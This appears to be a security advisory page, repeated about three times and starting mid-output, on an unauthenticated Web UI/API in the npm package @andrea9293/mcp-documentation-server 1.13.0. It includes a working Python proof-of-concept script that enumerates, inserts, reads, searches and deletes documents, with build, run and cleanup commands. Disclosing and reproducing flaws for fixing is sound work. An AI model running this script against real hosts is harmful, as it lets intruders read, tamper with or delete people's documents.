API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` Run the same PoC against the host's LAN IP: ```bash LAN_IP=$(hostname -I | awk '{print $1}') python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080 ``` Observed: ```text [poc] target = http://10.0.250.230:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` #### 6. Cleanup ```bash kill "$DOCSRV_PID" 2>/dev/null || true fuser -k 3080/tcp 2>/dev/null || true rm -rf /tmp/docsrv_base rm -f /tmp/docsrv_unauth_poc.py rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log ``` ### Impact This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API. A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow: - reading document titles, previews, and full document contents; - searching across the entire document corpus; - inserting attacker-controlled documents into the corpus; - deleting documents; - tampering with the user's local knowledge base used by the MCP assistant. This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks. This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations. A safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.
Update @andrea9293/mcp-documentation-server to 1.13.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scan@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default affects @andrea9293/mcp-documentation-server (npm). Severity is high. ### Summary `@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication. As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP. The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication. ### Details The README documents that the Web UI starts automatically and tells users to open: ```text http://localhost:3080 ``` It also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults. The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly. In `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`: ```ts if (process.env.START_WEB_UI !== 'false') { initializeDocumentManager().then(manager => { return startWebServer(undefined, manager); }).then(() => { console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')'); })... } ``` In `src/web-server.ts`, the Express app appears to listen with only the port: ```ts const server = app.listen(PORT, () => { console.log(`\n 🌐 MCP Documentation Server - Web UI`); console.log(` ────────────────────────────────────`); console.log(` Local: http://localhost:${PORT}`); console.log(` Network: http://0.0.0.0:${PORT}\n`); }); ``` With Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` The exposed API includes document-admin operations such as: ```text GET /api/documents GET /api/documents/:id POST /api/documents POST /api/search-all DELETE /api/documents/:id GET /api/config ``` I did not send any `Authorization` header in the PoC requests, and all tested operations succeeded. ### PoC Tested on v1.13.0. #### 1. Build from source ```bash cd ~/Desktop mkdir -p docsrv_repro_from_scratch cd docsrv_repro_from_scratch git clone https://github.com/andrea9293/mcp-documentation-server.git cd mcp-documentation-server git rev-parse HEAD npm install --no-audit --no-fund npm run build ls -l dist/server.js node -p "require('./package.json').version" ``` Expected version: ```text 1.13.0 ``` #### 2. Start the server with default Web UI behavior Do not set `START_WEB_UI=false`. ```bash rm -rf /tmp/docsrv_base mkdir -p /tmp/docsrv_base MCP_BASE_DIR=/tmp/docsrv_base \ WEB_PORT=3080 \ node dist/server.js \ </dev/null \ >/tmp/docsrv_stdout.log \ 2>/tmp/docsrv_stderr.log & DOCSRV_PID=$! sleep 5 echo "DOCSRV_PID=$DOCSRV_PID" ps -p "$DOCSRV_PID" -o pid,stat,cmd ``` #### 3. Confirm that the Web UI/API binds to all interfaces ```bash ss -ltnp | grep ':3080' || true ``` Observed: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` This indicates the service is not bound only to `127.0.0.1`. #### 4. Confirm that the API is reachable through the LAN IP ```bash LAN_IP=$(hostname -I | awk '{print $1}') echo "LAN_IP=$LAN_IP" curl -sS --max-time 5 "http://$LAN_IP:3080/api/config" echo ``` Observed: ```text LAN_IP=10.0.250.230 {"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"} ``` No authentication header was sent. #### 5. Full unauthenticated document-admin PoC ```bash cat > /tmp/docsrv_unauth_poc.py <<'PY' #!/usr/bin/env python3 import json import sys import urllib.request import urllib.error HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080 BASE = f"http://{HOST}:{PORT}" def req(method, path, body=None): data = json.dumps(body).encode() if body is not None else None headers = {"Content-Type": "application/json"} if body is not None else {} r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers) with urllib.request.urlopen(r, timeout=10) as resp: raw = resp.read().decode() try: return resp.status, json.loads(raw or "null") except Exception: return resp.status, raw def main(): print(f"[poc] target = {BASE}") print("[poc] no Authorization header is sent") status, config = req("GET", "/api/config") print(f"[0] config: HTTP {status}, {config}") status, docs = req("GET", "/api/documents") print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}") marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api" body = { "title": "network-inserted-test-document", "content": marker + "\nThis document was inserted through the unauthenticated network API.", "metadata": {"source": "unauth-network-poc"} } status, added = req("POST", "/api/documents", body) print(f"[2] add document: HTTP {status}, response={added}") doc_id = None if isinstance(added, dict): doc_id = added.get("id") or added.get("document", {}).get("id") if not doc_id: status, docs = req("GET", "/api/documents") for d in docs: if d.get("title") == "network-inserted-test-document": doc_id = d.get("id") break if not doc_id: raise RuntimeError("could not locate inserted document id") print(f"[2] inserted id={doc_id}") status, doc = req("GET", f"/api/documents/{doc_id}") content = doc.get("content", "") if isinstance(doc, dict) else str(doc) print(f"[3] read document: HTTP {status}, marker_present={marker in content}") status, hits = req("POST", "/api/search-all", { "query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted", "limit": 5 }) print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}") status, deleted = req("DELETE", f"/api/documents/{doc_id}") print(f"[5] delete document: HTTP {status}, response={deleted}") print("[poc] DONE") if __name__ == "__main__": main() PY chmod +x /tmp/docsrv_unauth_poc.py ``` Run against localhost: ```bash python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080 ``` Observed: ```text [poc] target = http://127.0.0.1:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` Run the same PoC against the host's LAN IP: ```bash LAN_IP=$(hostname -I | awk '{print $1}') python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080 ``` Observed: ```text [poc] target = http://10.0.250.230:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` #### 6. Cleanup ```bash kill "$DOCSRV_PID" 2>/dev/null || true fuser -k 3080/tcp 2>/dev/null || true rm -rf /tmp/docsrv_base rm -f /tmp/docsrv_unauth_poc.py rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log ``` ### Impact This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API. A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow: - reading document titles, previews, and full document contents; - searching across the entire document corpus; - inserting attacker-controlled documents into the corpus; - deleting documents; - tampering with the user's local knowledge base used by the MCP assistant. This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks. This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations. A safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @andrea9293/mcp-documentation-servernpm | =1.13.0 | 1.13.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate @andrea9293/mcp-documentation-server to 1.13.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scan@andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default affects @andrea9293/mcp-documentation-server (npm). Severity is high. ### Summary `@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication. As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP. The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication. ### Details The README documents that the Web UI starts automatically and tells users to open: ```text http://localhost:3080 ``` It also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults. The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly. In `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`: ```ts if (process.env.START_WEB_UI !== 'false') { initializeDocumentManager().then(manager => { return startWebServer(undefined, manager); }).then(() => { console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')'); })... } ``` In `src/web-server.ts`, the Express app appears to listen with only the port: ```ts const server = app.listen(PORT, () => { console.log(`\n 🌐 MCP Documentation Server - Web UI`); console.log(` ────────────────────────────────────`); console.log(` Local: http://localhost:${PORT}`); console.log(` Network: http://0.0.0.0:${PORT}\n`); }); ``` With Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` The exposed API includes document-admin operations such as: ```text GET /api/documents GET /api/documents/:id POST /api/documents POST /api/search-all DELETE /api/documents/:id GET /api/config ``` I did not send any `Authorization` header in the PoC requests, and all tested operations succeeded. ### PoC Tested on v1.13.0. #### 1. Build from source ```bash cd ~/Desktop mkdir -p docsrv_repro_from_scratch cd docsrv_repro_from_scratch git clone https://github.com/andrea9293/mcp-documentation-server.git cd mcp-documentation-server git rev-parse HEAD npm install --no-audit --no-fund npm run build ls -l dist/server.js node -p "require('./package.json').version" ``` Expected version: ```text 1.13.0 ``` #### 2. Start the server with default Web UI behavior Do not set `START_WEB_UI=false`. ```bash rm -rf /tmp/docsrv_base mkdir -p /tmp/docsrv_base MCP_BASE_DIR=/tmp/docsrv_base \ WEB_PORT=3080 \ node dist/server.js \ </dev/null \ >/tmp/docsrv_stdout.log \ 2>/tmp/docsrv_stderr.log & DOCSRV_PID=$! sleep 5 echo "DOCSRV_PID=$DOCSRV_PID" ps -p "$DOCSRV_PID" -o pid,stat,cmd ``` #### 3. Confirm that the Web UI/API binds to all interfaces ```bash ss -ltnp | grep ':3080' || true ``` Observed: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` This indicates the service is not bound only to `127.0.0.1`. #### 4. Confirm that the API is reachable through the LAN IP ```bash LAN_IP=$(hostname -I | awk '{print $1}') echo "LAN_IP=$LAN_IP" curl -sS --max-time 5 "http://$LAN_IP:3080/api/config" echo ``` Observed: ```text LAN_IP=10.0.250.230 {"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"} ``` No authentication header was sent. #### 5. Full unauthenticated document-admin PoC ```bash cat > /tmp/docsrv_unauth_poc.py <<'PY' #!/usr/bin/env python3 import json import sys import urllib.request import urllib.error HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080 BASE = f"http://{HOST}:{PORT}" def req(method, path, body=None): data = json.dumps(body).encode() if body is not None else None headers = {"Content-Type": "application/json"} if body is not None else {} r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers) with urllib.request.urlopen(r, timeout=10) as resp: raw = resp.read().decode() try: return resp.status, json.loads(raw or "null") except Exception: return resp.status, raw def main(): print(f"[poc] target = {BASE}") print("[poc] no Authorization header is sent") status, config = req("GET", "/api/config") print(f"[0] config: HTTP {status}, {config}") status, docs = req("GET", "/api/documents") print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}") marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api" body = { "title": "network-inserted-test-document", "content": marker + "\nThis document was inserted through the unauthenticated network API.", "metadata": {"source": "unauth-network-poc"} } status, added = req("POST", "/api/documents", body) print(f"[2] add document: HTTP {status}, response={added}") doc_id = None if isinstance(added, dict): doc_id = added.get("id") or added.get("document", {}).get("id") if not doc_id: status, docs = req("GET", "/api/documents") for d in docs: if d.get("title") == "network-inserted-test-document": doc_id = d.get("id") break if not doc_id: raise RuntimeError("could not locate inserted document id") print(f"[2] inserted id={doc_id}") status, doc = req("GET", f"/api/documents/{doc_id}") content = doc.get("content", "") if isinstance(doc, dict) else str(doc) print(f"[3] read document: HTTP {status}, marker_present={marker in content}") status, hits = req("POST", "/api/search-all", { "query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted", "limit": 5 }) print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}") status, deleted = req("DELETE", f"/api/documents/{doc_id}") print(f"[5] delete document: HTTP {status}, response={deleted}") print("[poc] DONE") if __name__ == "__main__": main() PY chmod +x /tmp/docsrv_unauth_poc.py ``` Run against localhost: ```bash python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080 ``` Observed: ```text [poc] target = http://127.0.0.1:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` Run the same PoC against the host's LAN IP: ```bash LAN_IP=$(hostname -I | awk '{print $1}') python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080 ``` Observed: ```text [poc] target = http://10.0.250.230:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` #### 6. Cleanup ```bash kill "$DOCSRV_PID" 2>/dev/null || true fuser -k 3080/tcp 2>/dev/null || true rm -rf /tmp/docsrv_base rm -f /tmp/docsrv_unauth_poc.py rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log ``` ### Impact This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API. A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow: - reading document titles, previews, and full document contents; - searching across the entire document corpus; - inserting attacker-controlled documents into the corpus; - deleting documents; - tampering with the user's local knowledge base used by the MCP assistant. This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks. This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations. A safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @andrea9293/mcp-documentation-servernpm | =1.13.0 | 1.13.1 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard